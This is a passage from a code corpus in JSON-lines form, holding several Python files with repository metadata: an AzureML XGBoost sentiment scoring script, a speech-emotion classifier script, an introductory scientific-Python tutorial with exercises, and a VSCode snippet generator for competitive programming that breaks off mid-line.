"lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.15203223778010538, "lm_q1q2_score": 0.07186312671228454}}
{"text": "import json\nimport os\n\nimport joblib\nimport numpy as np\nimport scipy.sparse\nimport xgboost as xgb\n\n\ndef init():\n    global model\n    # AZUREML_MODEL_DIR is an environment variable created during deployment.\n    # It's the path to the model folder (./azureml-models/$MODEL_NAME/$VERSION).\n    # For multiple models, it points to the folder containing all deployed models (./azureml-models).\n    model_path = os.path.join(os.getenv('AZUREML_MODEL_DIR'), 'xgboost_model.pkl')\n    model = joblib.load(model_path)\n\n\ndef run(raw_data):\n    data = np.array(json.loads(raw_data)['data'])\n    csr_data = scipy.sparse.csr_matrix(data)\n    test_data = xgb.DMatrix(csr_data)\n    \n    # Make prediction.\n    y_hat = model.predict(test_data)\n    map_2_rating = {0: \"Negative\", 1: \"Neutral\", 2:\"Positive\"}\n    y_hat_list = [map_2_rating[j] for j in y_hat.tolist()]\n\n    # Perform some logging\n    print(f\"there was an incomding request {data}\")\n    print(f\"Response to request {y_hat_list}\")\n    \n    return y_hat_list", "meta": {"hexsha": "0ff96c45578f41d1a90b3ef37496ea559982aed3", "size": 1003, "ext": "py", "lang": "Python", "max_stars_repo_path": "rating_ml_modules/scripts/machine_learning/score.py", "max_stars_repo_name": "chiemenz/AzureML-Sentiment-Classification-and-Model-Deployment", "max_stars_repo_head_hexsha": "0e55c6380ffc40aa69db839c51e81ec10168cf88", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2021-06-23T02:17:16.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-23T02:22:31.000Z", "max_issues_repo_path": "rating_ml_modules/scripts/machine_learning/score.py", "max_issues_repo_name": "chiemenz/AzureML-Sentiment-Classification-and-Model-Deployment", "max_issues_repo_head_hexsha": "0e55c6380ffc40aa69db839c51e81ec10168cf88", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rating_ml_modules/scripts/machine_learning/score.py", "max_forks_repo_name": "chiemenz/AzureML-Sentiment-Classification-and-Model-Deployment", "max_forks_repo_head_hexsha": "0e55c6380ffc40aa69db839c51e81ec10168cf88", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.3939393939, "max_line_length": 101, "alphanum_fraction": 0.703888335, "include": true, "reason": "import numpy,import scipy", "num_tokens": 259, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.14033624229926062, "lm_q1q2_score": 0.07181238542631871}}
{"text": "import pickle\r\nimport tensorflow as tf\r\nimport librosa\r\nimport librosa.display\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nemotions = {\r\n    '0': 'angry',\r\n    '1': 'disgust',\r\n    '2': 'fear',\r\n    '3': 'happy',\r\n    '4': 'neutral',\r\n    '5': 'sad'\r\n}\r\n\r\nfile = \"./Audios/Dataset/1092_Help_FEA_XX.wav\"\r\n\r\ndata, sampling_rate = librosa.load(file)\r\nX = []\r\nmfcc_feature = np.mean(librosa.feature.mfcc(y=data, sr=sampling_rate, n_mfcc=40).T, axis=0)\r\nX.append(mfcc_feature)\r\nMFCCs = np.array(X)\r\n\r\nmodel = tf.keras.models.load_model('./models')\r\np = model.predict(MFCCs, verbose=0)\r\nyhat_classes = np.argmax(p, 1)\r\noutput = emotions.get(str(yhat_classes[0]))\r\nif output == 'fear':\r\n    print('Fear')\r\nelse:\r\n    print(output)\r\n", "meta": {"hexsha": "b92d4820cec796bc0fcc3c08ffe5d583b1af4684", "size": 737, "ext": "py", "lang": "Python", "max_stars_repo_path": "Source Code/Speech Emotion Dection/Model.py", "max_stars_repo_name": "GALI-SAI-SHANKAR/Threat-Alert-AI", "max_stars_repo_head_hexsha": "f50743c23c05684d6e32ff52799dc4cc24dcd98f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Source Code/Speech Emotion Dection/Model.py", "max_issues_repo_name": "GALI-SAI-SHANKAR/Threat-Alert-AI", "max_issues_repo_head_hexsha": "f50743c23c05684d6e32ff52799dc4cc24dcd98f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2022-03-03T13:18:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-04T04:04:38.000Z", "max_forks_repo_path": "Source Code/Speech Emotion Dection/Model.py", "max_forks_repo_name": "GALI-SAI-SHANKAR/Threat-Alert-AI", "max_forks_repo_head_hexsha": "f50743c23c05684d6e32ff52799dc4cc24dcd98f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.3333333333, "max_line_length": 92, "alphanum_fraction": 0.6431478969, "include": true, "reason": "import numpy", "num_tokens": 219, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5621765008857981, "lm_q2_score": 0.12765262366243563, "lm_q1q2_score": 0.0717633052994397}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# <div style='background-image: url(\"../share/images/header.svg\") ; padding: 0px ; background-size: cover ; border-radius: 5px ; height: 250px'>\n#     <div style=\"float: right ; margin: 50px ; padding: 20px ; background: rgba(255 , 255 , 255 , 0.7) ; width: 50% ; height: 150px\">\n#         <div style=\"position: relative ; top: 50% ; transform: translatey(-50%)\">\n#             <div style=\"font-size: xx-large ; font-weight: 900 ; color: rgba(0 , 0 , 0 , 0.8) ; line-height: 100%\">Scientific Python</div>\n#             <div style=\"font-size: large ; padding-top: 20px ; color: rgba(0 , 0 , 0 , 0.5)\">A super quick crash course</div>\n#         </div>\n#     </div>\n# </div>\n\n# Seismo-Live: http://seismo-live.org\n#\n# ##### Authors:\n# * Lion Krischer ([@krischer](https://github.com/krischer))\n#\n# ---\n\n# This notebook is a very quick introduction to Python and in particular its scientific ecosystem in case you have never seen it before. It furthermore grants a possibility to get to know the [IPython/Jupyter notebook](http://www.nature.com/news/interactive-notebooks-sharing-the-code-1.16261). [See here for the official documentation](http://nbviewer.jupyter.org/github/jupyter/notebook/blob/master/docs/source/examples/Notebook/Notebook%20Basics.ipynb) of the Jupyter notebook - a ton more information can be found online.\n#\n#\n# A lot of motivational writing on *Why Python?* is out there so we will not repeat it here and just condense it to a single sentence: **Python is a good and easy to learn, open-source, general purpose programming language that happens to be very good for many scientific tasks (due to its vast scientific ecosystem).**\n#\n#\n# #### Quick Reference on How to Use This Notebook\n#\n#\n# <img src=\"images/notebook_toolbar.png\" style=\"width:70%\"></img>\n#\n# * `Shift + Enter`: Execute cell and jump to the next cell\n# * `Ctrl/Cmd + Enter`: Execute cell and don't jump to the next cell\n#\n#\n# #### Disclaimer\n#\n# The tutorials are employing Jupyter notebooks but these are only one way of using Python. Writing scripts to text files and executing them with the Python interpreter of course also works:\n#\n# ```bash\n# $ python do_something.py\n# ```\n#\n# Another alternative is interactive usage on the command line:\n#\n# ```bash\n# $ ipython\n# ```\n#\n# ## Notebook Setup\n#\n# First things first: In many notebooks you will find a cell similar to the following one. **Always execute it!** They do a couple of things:\n# * Make plots appear in the browser (otherwise a window pops up)\n# * Printing things works like this:\n#\n# ```python\n# print(\"Hello\")\n# ```\n#\n# This essentially makes the notebooks work under Python 2 and Python 3.\n#\n# * Plots look quite a bit nicer (this is optional).\n#\n\n# +\n# Plots now appear in the notebook.\n# %matplotlib inline\n\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')                            # Matplotlib style sheet - nicer plots!\nplt.rcParams['figure.figsize'] = 12, 8             # Slightly bigger plots by default\n# -\n\n# ---\n#\n# ## Useful Links\n#\n# Here is collection of resources regarding the scientific Python ecosystem. They cover a number of different packages and topics; way more than we will manage today.\n#\n# If you have any question regarding some specific Python functionality you can consult the official [Python documenation](http://docs.python.org/).\n#\n# Furthermore a large number of Python tutorials, introductions, and books are available online. Here are some examples for those interested in learning more.\n#\n# * [Learn Python The Hard Way](http://learnpythonthehardway.org/book/)\n# * [Dive Into Python](http://www.diveintopython.net/)\n# * [The Official Python Tutorial](http://docs.python.org/2/tutorial/index.html)\n# * [Think Python Book](http://www.greenteapress.com/thinkpython/thinkpython.html)\n#\n# Some people might be used to Matlab - this helps:\n#\n# * [NumPy for Matlab Users Introdution](http://wiki.scipy.org/NumPy_for_Matlab_Users)\n# * [NumPy for Matlab Users Cheatsheet](http://mathesaurus.sourceforge.net/matlab-numpy.html)\n#\n#\n# Additionally there is an abundance of resources introducing and teaching parts of the scientific Python ecosystem.\n#\n# * [NumPy Tutorial](http://wiki.scipy.org/Tentative_NumPy_Tutorial)\n# * [Probabilistic Programming and Bayesian Methods for Hackers](http://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/): Great ebook introducing Bayesian methods from an understanding-first point of view with the examples done in Python.\n# * [Python Scientific Lecture Notes](http://scipy-lectures.github.io/): Introduces the basics of scientific Python with lots of examples.\n# * [Python for Signal Processing](http://python-for-signal-processing.blogspot.de/): Free blog which is the basis of a proper book written on the subject.\n# * [Another NumPy Tutorial](http://www.loria.fr/~rougier/teaching/numpy/numpy.html), [Matplotlib Tutorial](http://www.loria.fr/~rougier/teaching/matplotlib/matplotlib.html)\n#\n# You might eventually have a need to create some custom plots. The quickest way to success is usually to start from some example that is somewhat similar to what you want to achieve and just modify it. These websites are good starting points:\n#\n# * [Matplotlib Gallery](http://matplotlib.org/gallery.html)\n# * [ObsPy Gallery](http://docs.obspy.org/gallery.html)\n# * [Basemap Gallery](http://matplotlib.org/basemap/users/examples.html)\n#\n#\n# ---\n\n# ## Core Python Crash Course\n#\n# This course is fairly non-interactive and serves to get you up to speed with Python assuming you have practical programming experience with at least one other language. Nonetheless please change things and play around an your own - it is the only way to really learn it!\n#\n# The first part will introduce you to the core Python language. This tutorial uses Python 3 but almost all things can be transferred to Python 2. If possible choose Python 3 for your own work!\n#\n#\n# ### 1. Numbers\n#\n# Python is dynamically typed and assigning something to a variable will give it that type.\n\n# +\n# Three basic types of numbers\na = 1             # Integers\nb = 2.0           # Floating Point Numbers\nc = 3.0 + 4j      # Complex Numbers, note the use of j for the complex part\n\n\n# Arithmetics work as expected.\n# Upcasting from int -> float -> complex\nd = a + b         # (int + float = float)\nprint(d)\n\ne = c ** 2        # c to the second power, performs a complex multiplication\nprint(e)\n# -\n\n# ### 2. Strings\n\n# Just enclose something in single or double quotes and it will become a string. On Python 3 it defaults to unicode strings, e.g. non Latin alphabets and other symbols.\n\n# +\n# You can use single or double quotes to create strings.\nlocation = \"New York\"\n\n# Concatenate strings with plus.\nwhere_am_i = 'I am in ' + location\n\n# Print things with the print() function.\nprint(location, 1, 2)\nprint(where_am_i)\n\n# Strings have a lot of attached methods for common manipulations.\nprint(location.lower())\n\n# Access single items with square bracket. Negative indices are from the back.\nprint(location[0], location[-1])\n\n# Strings can also be sliced.\nprint(location[4:])\n# -\n\n# #### Exercise\n#\n# Save your name in all lower-case letters to a variable, and print a capitalized version of it. Protip: [Google for \"How to capitalize a string in python\"](http://www.google.com/search?q=how+to+capitalize+a+string+in+python). This works for almost any programming problem - someone will have had the same issue before!\n\n# + {\"tags\": [\"exercise\"]}\n\n\n# + {\"tags\": [\"solution\"]}\nname = \"lion\"\nprint(name.capitalize())\n# -\n\n# ### 3. Lists\n\n# Python has two main collection types: List and dictionaries. The former is just an ordered collection of objects and is introduced here.\n\n# +\n# List use square brackets and are simple ordered collections of things.\neverything = [a, b, c, 1, 2, 3, \"hello\"]\n\n# Access elements with the same slicing/indexing notation as strings.\n# Note that Python indices are zero based!\nprint(everything[0])\nprint(everything[:3])\nprint(everything[2:-2])\n\n# Negative indices are counted from the back of the list.\nprint(everything[-3:])\n\n# Append things with the append method.\neverything.append(\"you\")\nprint(everything)\n# -\n\n# ### 4. Dictionaries\n#\n# The other main collection type in Python are dictionaries. They are similiar to associative arrays or (hash) maps in other languages. Each entry is a key-value pair.\n\n# +\n# Dictionaries have named fields and no inherent order. As is\n# the case with lists, they can contain anything.\ninformation = {\n    \"name\": \"Hans\",\n    \"surname\": \"Mustermann\",\n    \"age\": 78,\n    \"kids\": [1, 2, 3]\n}\n\n# Acccess items by using the key in square brackets.\nprint(information[\"kids\"])\n\n# Add new things by just assigning to a key.\nprint(information)\ninformation[\"music\"] = \"jazz\"\nprint(information)\n\n# Delete things by using the del operator\ndel information[\"age\"]\nprint(information)\n\n\n# -\n\n# ### 5. Functions\n#\n# The key to conquer a big problem is to divide it into many smaller ones and tackle them one by one. This is usually achieved by using functions.\n\n# +\n# Functions are defined using the def keyword.\ndef do_stuff(a, b):\n    return a * b\n\n# And called with the arguments in round brackets.\nprint(do_stuff(2, 3))\n\n# Python function also can have optional arguments.\ndef do_more_stuff(a, b, power=1):\n    return (a * b) ** power\n\nprint(do_more_stuff(2, 3))\nprint(do_more_stuff(2, 3, power=3))\n\n# For more complex function it is oftentimes a good idea to\n#explicitly name the arguments. This is easier to read and less error-prone.\nprint(do_more_stuff(a=2, b=3, power=3))\n# -\n\n# ### 6. Imports\n#\n# To use functions and objects not part of the default namespace, you have import them. You will have to do this a lot so it is necessary to learn how to do it.\n\n# +\n# Import anything, and use it with the dot accessor.\nimport math\n\na = math.cos(4 * math.pi)\n\n# You can also selectively import things.\nfrom math import pi\n\nb = 3 * pi\n\n# And even rename them if you don't like their name.\nfrom math import cos as cosine\nc = cosine(b)\n# -\n\n# How to know what is available?\n#\n# 1. Read the [documentation](https://docs.python.org/3/library/math.html)\n# 2. Interactively query the module\n\nprint(dir(math))\n\n# Typing the dot and the TAB will kick off tab-completion.\n\n# math.\n\n# In the IPython framework you can also use a question mark to view the documentation of modules and functions.\n\n# math.cos?\n\n# ### 7. Control Flow\n#\n# Loops and conditionals are needed for any non-trivial task. Please note that **whitespace matters in Python**. Everything that is indented at the same level is part of the same block. By far the most common loops in Python are for-each loops as shown in the following. While loops also exist but are rarely used.\n\n# +\ntemp = [\"a\", \"b\", \"c\"]\n\n# The typical Python loop is a for-each loop, e.g.\nfor item in temp:\n    # Everything with the same indentation is part of the loop.\n    new_item = item + \" \" + item\n    print(new_item)\n\nprint(\"No more part of the loop.\")\n# -\n\n# Useful to know is the range() function.\nfor i in range(5):\n    print(i)\n\n# The second crucial control flow structure are if/else conditional and they work the same as in any other language.\n\n# +\n# If/else works as expected.\nage = 77\n\nif age >= 0 and age < 10:\n    print(\"Younger than ten.\")\nelif age >= 10:\n    print(\"Older than ten.\")\nelse:\n    print(\"Wait what?\")\n\n# +\n# List comprehensions are a nice way to write compact loops.\n# Make sure you understand this as it is very common in Python.\n\na = list(range(10))\nprint(a)\nb = [i for i in a if not i % 2]\nprint(b)\n\n# Equivalant loop for b.\nb = []\nfor i in a:\n    if not i % 2:\n        b.append(i)\nprint(b)\n\n\n# -\n\n# ### 8. Error Messages\n#\n# You will eventually run into some error messages. Learn to read them! The last line is often the one that matters - reading upwards traces the error back in time and shows what calls led to it. If stuck: just google the error message!\n\n# +\ndef do_something(a, b):\n    print(a + b + something_else)\n\n# do_something(1, 2)\n# -\n\n# ## The Scientific Python Ecosystem\n#\n# The [SciPy Stack](https://www.scipy.org/stackspec.html) forms the basis for essentially all applications of scientific Python. Here we will quickly introduce the three core libraries:\n#\n# * `NumPy`\n# * `SciPy`\n# * `Matplotlib`\n#\n# The SciPy stack furthermore contains `pandas` (library for data analysis on tabular and time series data) and `sympy` (package for symbolic math), both very powerful packages, but we will omit them in this tutorial.\n\n# ### 9. NumPy\n#\n# Large parts of the scientific Python ecosystem use NumPy, an array computation package offering N-dimensional, typed arrays and useful functions for linear algebra, Fourier transforms, random numbers, and other basic scientific tasks.\n\n# +\nimport numpy as np\n\n# Create a large array with with 1 million samples.\nx = np.linspace(start=0, stop=100, num=1E6, dtype=np.float64)\n\n# Most operations work per-element.\ny = x ** 2\n\n# Uses C and Fortran under the hood for speed.\nprint(y.sum())\n\n# FFT and inverse\nx = np.random.random(100)\nlarge_X = np.fft.fft(x)\nx = np.fft.ifft(large_X)\n# -\n\n# ### 10. SciPy\n#\n# `SciPy`, in contrast to `NumPy` which only offers basic numerical routines, contains a lot of additional functionality needed for scientific work. Examples are solvers for basic differential equations, numeric integration and optimization, spare matrices, interpolation routines, signal processing methods, and a lot of other things.\n\n# +\nfrom scipy.interpolate import interp1d\n\nx = np.linspace(0, 10, num=11, endpoint=True)\ny = np.cos(-x ** 2 / 9.0)\n\n# Cubic spline interpolation to new points.\nf2 = interp1d(x, y, kind='cubic')(np.linspace(0, 10, num=101, endpoint=True))\n# -\n\n# ### 11. Matplotlib\n#\n# Plotting is done using `Matplotlib`, a package for greating high-quality static plots. It has an interface that mimics Matlab which many people are familiar with.\n\n# +\nimport matplotlib.pyplot as plt\n\nplt.plot(np.sin(np.linspace(0, 2 * np.pi, 2000)), color=\"green\",\n         label=\"Some Curve\")\nplt.legend()\nplt.ylim(-1.1, 1.1)\nplt.show()\n# -\n\n# ## Exercises\n#\n# #### Functions, NumPy, and Matplotlib\n#\n# A. Write a function that takes a NumPy array `x` and `a`, `b`, and `c` and returns\n#\n# $$\n# f(x) = a x^2 + b x + c\n# $$\n#\n# B. Plot the result of that function with matplotlib.\n\n# + {\"tags\": [\"exercise\"]}\n\n\n# + {\"tags\": [\"solution\"]}\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef simple_poly(x, a, b, c):\n    return a * x ** 2 + b * x + c\n\nplt.plot(simple_poly(np.linspace(-5, 5), 10, 2, 2))\nplt.show()\n# -\n\n# #### 99 Bottles of Beer\n#\n# *(stolen from http://www.ling.gu.se/~lager/python_exercises.html)*\n#\n#\n# \"99 Bottles of Beer\" is a traditional song in the United States and Canada. It is popular to sing on long trips, as it has a very repetitive format which is easy to memorize, and can take a long time to sing. The song's simple lyrics are as follows:\n#\n# ```\n# 99 bottles of beer on the wall, 99 bottles of beer.\n# Take one down, pass it around, 98 bottles of beer on the wall.\n# ```\n#\n# The same verse is repeated, each time with one fewer bottle. The song is completed when the singer or singers reach zero.\n#\n# Your task here is write a Python program capable of generating all the verses of the song.\n#\n\n# + {\"tags\": [\"exercise\"]}\n\n\n# + {\"tags\": [\"solution\"]}\nprint(\"99 bottles of beer on the wall, 99 bottles of beer.\")\nfor i in range(98, -1, -1):\n    print(\"Take one down, pass it around, %i bottles of beer on the wall.\" % i)\n# -\n\n# #### Ceasar Cipher\n#\n# *(stolen from http://www.ling.gu.se/~lager/python_exercises.html)*\n#\n# In cryptography, a Caesar cipher is a very simple encryption techniques in which each letter in the plain text is replaced by a letter some fixed number of positions down the alphabet. For example, with a shift of 3, A would be replaced by D, B would become E, and so on. The method is named after Julius Caesar, who used it to communicate with his generals. ROT-13 (\"rotate by 13 places\") is a widely used example of a Caesar cipher where the shift is 13. In Python, the key for ROT-13 may be represented by means of the following dictionary:\n#\n# ```python\n# key = {'a':'n', 'b':'o', 'c':'p', 'd':'q', 'e':'r', 'f':'s', 'g':'t', 'h':'u',\n#        'i':'v', 'j':'w', 'k':'x', 'l':'y', 'm':'z', 'n':'a', 'o':'b', 'p':'c',\n#        'q':'d', 'r':'e', 's':'f', 't':'g', 'u':'h', 'v':'i', 'w':'j', 'x':'k',\n#        'y':'l', 'z':'m', 'A':'N', 'B':'O', 'C':'P', 'D':'Q', 'E':'R', 'F':'S',\n#        'G':'T', 'H':'U', 'I':'V', 'J':'W', 'K':'X', 'L':'Y', 'M':'Z', 'N':'A',\n#        'O':'B', 'P':'C', 'Q':'D', 'R':'E', 'S':'F', 'T':'G', 'U':'H', 'V':'I',\n#        'W':'J', 'X':'K', 'Y':'L', 'Z':'M'}\n# ```\n#\n# Your task in this exercise is to implement an decoder of ROT-13. Once you're done, you will be able to read the following secret message:\n#\n# ```\n# Pnrfne pvcure? V zhpu cersre Pnrfne fnynq!\n# ```\n#\n# **BONUS:** Write an encoder!\n\n# + {\"tags\": [\"exercise\"]}\n\n\n# + {\"tags\": [\"solution\"]}\nsentence = \"Pnrfne pvcure? V zhpu cersre Pnrfne fnynq!\"\n\nkey = {'a':'n', 'b':'o', 'c':'p', 'd':'q', 'e':'r', 'f':'s', 'g':'t', 'h':'u',\n       'i':'v', 'j':'w', 'k':'x', 'l':'y', 'm':'z', 'n':'a', 'o':'b', 'p':'c',\n       'q':'d', 'r':'e', 's':'f', 't':'g', 'u':'h', 'v':'i', 'w':'j', 'x':'k',\n       'y':'l', 'z':'m', 'A':'N', 'B':'O', 'C':'P', 'D':'Q', 'E':'R', 'F':'S',\n       'G':'T', 'H':'U', 'I':'V', 'J':'W', 'K':'X', 'L':'Y', 'M':'Z', 'N':'A',\n       'O':'B', 'P':'C', 'Q':'D', 'R':'E', 'S':'F', 'T':'G', 'U':'H', 'V':'I',\n       'W':'J', 'X':'K', 'Y':'L', 'Z':'M'}\n\nresult = \"\"\nfor letter in sentence:\n    if letter not in key:\n        result += letter\n    else:\n        result += key[letter]\nprint(result)\n", "meta": {"hexsha": "fb5bf12ec7a4c14847ebaa330bed42985400fc1c", "size": 17936, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Python Introduction/Python_Crash_Course_solution.py", "max_stars_repo_name": "krischer/seismo_live_build", "max_stars_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-07-11T10:01:39.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-16T14:26:03.000Z", "max_issues_repo_path": "notebooks/Python Introduction/Python_Crash_Course_solution.py", "max_issues_repo_name": "krischer/seismo_live_build", "max_issues_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/Python Introduction/Python_Crash_Course_solution.py", "max_forks_repo_name": "krischer/seismo_live_build", "max_forks_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-11-11T05:05:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-12T09:36:24.000Z", "avg_line_length": 34.7596899225, "max_line_length": 545, "alphanum_fraction": 0.6791369313, "include": true, "reason": "import numpy,from scipy", "num_tokens": 4887, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3106943959796865, "lm_q2_score": 0.2309197682220399, "lm_q1q2_score": 0.0717454779075159}}
{"text": "#!/usr/bin/env python3\n\"\"\"\ngenerate snippets for VSCode\n\"\"\"\nimport os\nimport json\nDIR = os.path.dirname(__file__)\nsnippets = {}\nsnippets_for_global = {}\n\n\ndef push(prefix, desc, body=None, for_global=False):\n    to_generate_desc = False\n    if not body:\n        body = desc\n        to_generate_desc = True\n    body = body.strip()\n    lines = body.splitlines()\n\n    if to_generate_desc:\n        if lines[0] == '\"\"\"':\n            desc = lines[1]\n        else:\n            desc = lines[0]\n\n    if desc in snippets:\n        print(f\"{desc} already exists\")\n        desc = desc + \"'\"\n\n    snip = dict(\n        scope=\"python\",\n        prefix=prefix,\n        body=lines,\n        description=desc\n    )\n    if for_global:\n        snippets_for_global[desc] = snip\n    else:\n        snippets[desc] = snip\n\n\ndef make_template(code, args):\n    args = args.split()\n    for i, arg in enumerate(args):\n        placeholder = \"${%d:%s}\" % (i + 1, arg)\n        code = code.replace(arg, placeholder)\n    return code\n\n\npush(\"readlist\", \"read list of integers\", \"\"\"\nlist(map(int, input().split()))\n\"\"\")\npush(\"readtuple\", \"tuple(map(int, input().split()))\")\n\npush(\"readints\", \"map(int, input().split())\")\n\npush(\"readanint\", \"read an integer\", \"int(input())\")\n\npush(\"readstr\",  \"input().strip()\")\n\npush(\"readstrascii\", \"input().strip().decode('ascii')\")\n\npush(\"readquery\", \"\"\"\nN, Q = map(int, input().split())\n# Q = int(input())\nQS = []\nfor _q in range(Q):\n    QS.append(tuple(map(int, input().split())))\n\"\"\")\n\npush(\"readtuples\", make_template(\"\"\"\nXS = []\nfor _i in range(N):\n    XS.append(tuple(map(int, input().split())))\n\"\"\", \"XS N\"))\n\npush(\"readedgecost\", \"read edges with cost\", make_template(\"\"\"\nfrom collections import defaultdict\nINF = 9223372036854775807\nedges = defaultdict(lambda: defaultdict(lambda: INF))\nfor _i in range(NUM_EDGES):\n    frm, to, cost = map(int, input().split())\n    edges[frm-1][to-1] = cost  # -1 for 1-origin vertexes\n    edges[to-1][frm-1] = cost  # if bidirectional\n    # edges[frm-1][to-1] = min(edges[frm-1][to-1], cost)  # for multiple edges \n\"\"\", \"NUM_EDGES -1\"))\n\npush(\"readedges\", \"read costless edges\", make_template(\"\"\"\nfrom collections import defaultdict\nedges = defaultdict(list)\nfor _i in range(NUM_EDGES):\n    frm, to = map(int, input().split())\n    edges[frm-1].append(to-1)  # -1 for 1-origin vertexes\n    edges[to-1].append(frm-1)  # if bidirectional\n\"\"\", \"NUM_EDGES -1\"))\n\npush(\"readbigint\", \"[x - ord('0') for x in input().strip()]\")\npush(\"profile\", \"define @profile if not exist\", \"\"\"\ntry:\n    profile\nexcept:\n    def profile(f): return f\n\"\"\", for_global=True)\n\npush(\"perf\", \"use perf_counter\", \"\"\"\nstart_time = perf_counter()\n$CLIPBOARD\ndebug(f\"$1: {(perf_counter() - start_time):.2f}\")\n\"\"\", for_global=True)\n\npush(\"impperf\", \"perf_counter\", \"from time import perf_counter\", for_global=True)\n\npush(\"test\", \"define testcode\", '''\nT${1:} = \"\"\"\n$2\n\"\"\"\nTEST_T$1 = \"\"\"\n>>> as_input(T$1)\n>>> main()\n${3:result}\n\"\"\"\n''', for_global=True)\n\npush(\"dpold\", \"debug print\", \"\"\"\ndebug(\"$1\", $1)\n\"\"\", for_global=True)\n\npush(\"dp\", \"debug print\", \"\"\"\ndebug($1, msg=\"$2:$1\")\n\"\"\", for_global=True)\n\npush(\"bp\", \"conditional breakpoint\", \"\"\"\nif ${1:True}:\n    import pdb\n    pdb.set_trace()\n\"\"\", for_global=True)\n\npush(\"cache\", \"\"\"\nfrom functools import lru_cache\n@lru_cache(maxsize=None)\n\"\"\", for_global=True)\n\n\npush(\"unpack\", make_template(\"\"\"\nx = pair >> 32\ny = pair - (x << 32)\n\"\"\", \"pair 32 x y\"))\n\npush(\"pack\", make_template(\"\"\"\npair = (x << 32) + y\n\"\"\", \"pair 32 x y\"))\n\n# import\npush(\"impdef\", \"from collections import defaultdict\", for_global=True)\npush(\"impcou\", \"from collections import Counter\", for_global=True)\npush(\"impdeq\", \"from collections import deque\", for_global=True)\npush(\"impheap\", \"from heapq import heappush, heappop\", for_global=True)\npush(\"impnp\", \"import numpy as np\", for_global=True)\n\n\npush(\"deftest\", \"\"\"\ndef _test():\n    import doctest\n    doctest.testmod()\n    g = globals()\n    for k in sorted(g):\n        if k.startswith(\"TEST_\"):\n            print(k)\n            doctest.run_docstring_examples(g[k], g, name=k)\n\"\"\", for_global=True)\n\npush(\"defdebug\", \"\"\"\ndef debug(*x, msg=\"\"):\n    import sys\n    print(msg, *x, file=sys.stderr)\n\"\"\", for_global=True)\n\n\npush(\"ifmain\", \"\"\"\nif __name__ == \"__main__\":\n    import sys\n    input = sys.stdin.buffer.readline\n    read = sys.stdin.buffer.read\n    if sys.argv[-1] == \"-t\":\n        _test()\n        sys.exit()\n    main()\n\"\"\", for_global=True)\n\npush(\"yesno\", \"\"\"\nif $1:\n    print(\"Yes\")\nelse:\n    print(\"No\")\n\"\"\")\n\npush(\"as_input\", \"\"\"\ndef as_input(s):\n    \"use in test, use given string as input file\"\n    import io\n    g = globals()\n    f = io.StringIO(s.strip())\n\n    g[\"input\"] = lambda: bytes(f.readline(), \"ascii\")\n    g[\"read\"] = lambda: bytes(f.read(), \"ascii\")\n\"\"\")\n\npush(\"MOD1\", \"MOD = 1_000_000_007\")\npush(\"MOD9\", \"MOD = 998_244_353\")\npush(\"INF\", \"INF = 9223372036854775807\")\n\npush(\"for_subset\", make_template(\"\"\"\nfor subset in range(2 ** N):\n    for i in range(N):\n        if subset & (1 << i):\n            pass\n    pass\n\"\"\", \"subset N i\"))\n\npush(\"use_mincostflow\", \"\"\"\nglobal mcf\nmcf = MinCostFlow(numVertex)\n# construct graph\nmcf.add_edge(frm, to, capacity, cost)\n# debug\nprint(list(mcf.edges()))\n# flow\ncap, cost = mcf.flow(start, goal)\n\"\"\")\n\nEOL = \"# --- end of library ---\"\npush(\"eol\", \"end of library\", EOL)\n\n\ndef read_file(filename):\n    data = open(os.path.join(DIR, filename)).read()\n    if EOL in data:\n        data = data.split(EOL)[0]\n    data = data.strip() + \"\\n\"\n    return f\"# included from {filename}\\n{data}\\n# end of {filename}\"\n\n\npush(\"main\", read_file(\"snippets/main.py\"))\npush(\"numbamain\", read_file(\"snippets/numbamain.py\"))\npush(\"def_debug_indent\", read_file(\"snippets/debug_indent.py\"))\n\n# register libs/*.py\nfor filename in 